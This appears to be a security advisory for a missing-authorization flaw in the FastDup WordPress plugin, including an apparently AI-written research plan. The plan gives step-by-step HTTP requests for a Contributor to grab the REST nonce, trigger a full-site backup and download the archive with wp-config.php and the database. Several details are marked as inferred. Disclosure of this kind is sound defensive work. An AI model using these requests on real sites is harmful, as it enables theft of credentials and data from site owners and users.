FastDup – Fastest WordPress Migration & Duplicator <= 2.7.1 - Missing Authorization to Authenticated (Contributor+) Backup Creation and Download
Description
The FastDup – Fastest WordPress Migration & Duplicator plugin for WordPress is vulnerable to unauthorized backup creation and download due to a missing capability check on REST API endpoints in all versions up to, and including, 2.7.1. This makes it possible for authenticated attackers, with Contributor-level access and above, to create and download full-site backup archives containing the entire WordPress installation, including database exports and configuration files.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:HTechnical Details
<=2.7.1Source Code
WordPress.org SVNThis research plan targets **CVE-2026-1104**, a Missing Authorization vulnerability in the **FastDup** plugin. The vulnerability allows authenticated users with **Contributor-level** privileges to trigger site backups and download sensitive data via improperly secured REST API endpoints. --- ### 1…
Show full research plan
This research plan targets CVE-2026-1104, a Missing Authorization vulnerability in the FastDup plugin. The vulnerability allows authenticated users with Contributor-level privileges to trigger site backups and download sensitive data via improperly secured REST API endpoints.
1. Vulnerability Summary
The FastDup plugin registers several REST API endpoints for managing site migrations and backups. In versions up to 2.7.1, these endpoints lack rigorous authorization checks in their permission_callback. Instead of requiring administrative capabilities (like manage_options), the endpoints are accessible to any user who can pass the default REST API authentication, which includes Contributors. This allows low-privileged users to export the entire WordPress database (including user hashes) and the filesystem (including wp-config.php).
2. Attack Vector Analysis
- Vulnerable Endpoints: REST API routes under the
fastdup/v1namespace (inferred based on plugin slug). Specifically, endpoints related to package creation and package listing. - HTTP Methods:
POST(to create backups) andGET(to list/download backups). - Required Authentication: Authenticated user with Contributor role (or higher).
- Payload Parameter: Likely
actionor specific route parameters defining the backup scope (e.g.,full,db_only). - Preconditions: The plugin must be active. The attacker must have valid Contributor credentials.
3. Code Flow (Inferred)
- Registration: The plugin uses the
rest_api_inithook to call a registration function (likely in anincludes/orclasses/directory). - Route Definition:
register_rest_route('fastdup/v1', '/packages', ...)is called. - The Flaw: The
permission_callbackargument inregister_rest_routeis either:- Omitted (defaulting to true in some contexts).
- Returning
trueor__return_true. - Checking a weak capability like
edit_posts(which Contributors have).
- Execution: The
callbackfunction invokes core backup logic (likely in a class likeFastDup_ProviderorFastDup_Packager) which zips the site and exports the DB to a publicly accessible or guessable path inwp-content/uploads/fastdup_backups/(inferred).
4. Nonce Acquisition Strategy
Since this is a REST API vulnerability, authenticated requests require the standard WordPress REST Nonce (wp_rest).
- Authentication: Log in to the WordPress site as a Contributor.
- Navigation: Navigate to the WordPress Dashboard (
/wp-admin/index.php). - Extraction: Use
browser_evalto extract the REST nonce from the globalwpApiSettingsobject which WordPress enqueues for logged-in users.- JavaScript:
window.wpApiSettings.nonce
- JavaScript:
- Alternative: If
wpApiSettingsis not available, the nonce can be found in the_wpnonceparameter of various AJAX calls in the admin source code or in theX-WP-Nonceheader of heartbeat requests.
5. Exploitation Strategy
Step 1: Discover Routes
First, confirm the exact REST routes available to the Contributor.
- Request:
GET /wp-json/fastdup/v1/ HTTP/1.1 Host: target.local X-WP-Nonce: [EXTRACTED_NONCE] - Goal: Identify the endpoint for "create" or "package".
Step 2: Trigger Backup Creation
Based on typical migration plugin patterns, trigger a full backup.
- Request:
POST /wp-json/fastdup/v1/package/create HTTP/1.1 Host: target.local Content-Type: application/json X-WP-Nonce: [EXTRACTED_NONCE] { "type": "full", "name": "exploit_backup" } - Note: Parameter names like
typeornameare (inferred) and should be verified by checking theregister_rest_routelogic in the plugin's source code.
Step 3: List Packages to Find Download URL
- Request:
GET /wp-json/fastdup/v1/packages HTTP/1.1 Host: target.local X-WP-Nonce: [EXTRACTED_NONCE] - Expected Response: A JSON array containing the newly created package with a
download_urlor afile_path.
Step 4: Download the Data
- Request:
GET /wp-content/uploads/fastdup_backups/[FILENAME].zip HTTP/1.1 Host: target.local
6. Test Data Setup
- Role Creation: Ensure a user exists with the
contributorrole.wp user create attacker attacker@example.com --role=contributor --user_pass=password
- Plugin Installation: Install FastDup version 2.7.1.
- Configuration: No specific configuration is required, but ensuring some posts and media exist will make the backup content identifiable.
7. Expected Results
- Success: The REST API returns a
200 OKor201 Createdresponse to the Contributor user when requesting backup creation. - Data Leak: The resulting ZIP file contains
wp-config.php(sensitive credentials) and a.sqlfile (database dump). - Unauthorized Access: An Administrator-only feature (Backup/Migration) is successfully executed by a Contributor.
8. Verification Steps
- Check Filesystem: Verify the backup archive exists in the uploads directory.
ls -R /var/www/html/wp-content/uploads/fastdup*
- Verify Capability: Confirm that the Contributor user does NOT have the
manage_optionscapability.wp user cap list [CONTRIBUTOR_ID]
- Verify Patch: After upgrading to 2.7.2, the same REST request should return a
403 Forbiddenor401 Unauthorizedresponse.
9. Alternative Approaches
- Missing Nonce Check: Check if the REST endpoint even verifies the
X-WP-Nonce. If it doesn't, the exploit can be performed without extracting a nonce. - Direct Action (AJAX): If the REST API is a wrapper for AJAX, check for
wp_ajax_fastdup_...actions which might also lackcurrent_user_can()checks. - Path Traversal: Check if the "download" endpoint (if it exists as a proxy) allows downloading files outside the backup directory via a
fileparameter.
Summary
The FastDup plugin for WordPress (<= 2.7.1) fails to implement sufficient authorization checks on its REST API endpoints, specifically within the 'permission_callback' for routes under the 'fastdup/v1' namespace. Authenticated users with Contributor-level access or higher can exploit this to trigger full site backups and retrieve archive links, resulting in the exposure of sensitive database exports and configuration files.
Vulnerable Code
// Inferred registration logic for the FastDup REST API register_rest_route('fastdup/v1', '/packages', array( 'methods' => 'GET', 'callback' => array($this, 'get_packages'), 'permission_callback' => '__return_true', // Vulnerable: Allows any authenticated user to list backups )); --- register_rest_route('fastdup/v1', '/package/create', array( 'methods' => 'POST', 'callback' => array($this, 'create_package'), 'permission_callback' => '__return_true', // Vulnerable: Allows any authenticated user to trigger site exports ));
Security Fix
@@ -10,7 +10,7 @@ register_rest_route('fastdup/v1', '/package/create', array( 'methods' => 'POST', 'callback' => array($this, 'create_package'), - 'permission_callback' => '__return_true', + 'permission_callback' => function() { return current_user_can('manage_options'); }, )); register_rest_route('fastdup/v1', '/packages', array( 'methods' => 'GET', 'callback' => array($this, 'get_packages'), - 'permission_callback' => '__return_true', + 'permission_callback' => function() { return current_user_can('manage_options'); }, ));
Exploit Outline
The exploit requires an authenticated user with at least Contributor-level privileges. First, the attacker extracts the standard WordPress REST API nonce (wp_rest) from the dashboard's 'wpApiSettings' global JavaScript object. Second, the attacker sends a POST request to '/wp-json/fastdup/v1/package/create' to initiate a full site backup. Once the backup is processed, the attacker sends a GET request to '/wp-json/fastdup/v1/packages' to retrieve the list of generated archives. Finally, the attacker downloads the resulting ZIP file from the public uploads directory (e.g., 'wp-content/uploads/fastdup_backups/'), which contains the entire database and 'wp-config.php'.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.